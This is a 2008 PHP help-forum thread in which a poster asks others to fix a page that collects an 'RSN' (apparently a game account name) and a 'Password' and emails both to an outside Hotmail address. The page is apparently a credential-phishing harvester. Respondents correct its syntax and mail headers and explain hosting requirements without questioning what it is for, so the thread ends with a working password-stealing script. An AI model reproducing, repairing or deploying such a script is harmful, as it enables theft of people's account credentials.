`Yousef Posted November 17, 2008 Share Posted November 17, 2008 Can anyone fix this up for me # <html> # # <head> # <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> # <title>Tings</title> # </head> # # <body> # RSN: <?php $_POST["detail"]; ?>.<br /> # Password: <?php $_POST["email"]; ?> # # <?php # # $to = "shocks_sneekers@hotmail.co.uk"; # $subject = "Details"; # $txt = "$_POST["detail"], $_POST["email"]; # $headers = "From: You Know Who" . "\r\n" . # "CC: somebodyelse@example.com"; # # mail($to,$subject,$txt,$headers); # ?> # </body> # # </html> Quote Link to comment Share on other sites More sharing options...
ratcateme Posted November 17, 2008 Share Posted November 17, 2008 replace this <?php # # $to = "shocks_sneekers@hotmail.co.uk"; # $subject = "Details"; # $txt = "{$_POST['detail']}, {$_POST['email']}"; # $headers = "From: You Know Who" . "\r\n" . # "CC: somebodyelse@example.com" . "\r\n"; # # mail($to,$subject,$txt,$headers); # ?> Scott. Quote Link to comment Share on other sites More sharing options...
revraz Posted November 17, 2008 Share Posted November 17, 2008 I doubt this will work, most ISP's require a real address $headers = "From: You Know Who" . "\r\n" . Quote Link to comment Share on other sites More sharing options...
`Yousef Posted November 17, 2008 Author Share Posted November 17, 2008 Can you take $headers out of the mail function? Quote Link to comment Share on other sites More sharing options...
ratcateme Posted November 17, 2008 Share Posted November 17, 2008 yep mail($to,$subject,$txt); will work Scott. Quote Link to comment Share on other sites More sharing options...
`Yousef Posted November 17, 2008 Author Share Posted November 17, 2008 So all I'll need to run this would be hosting with PHP support? Quote Link to comment Share on other sites More sharing options...
revraz Posted November 17, 2008 Share Posted November 17, 2008 That depends on the Host, some require the FROM header to send the mail, you need to ask your host. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.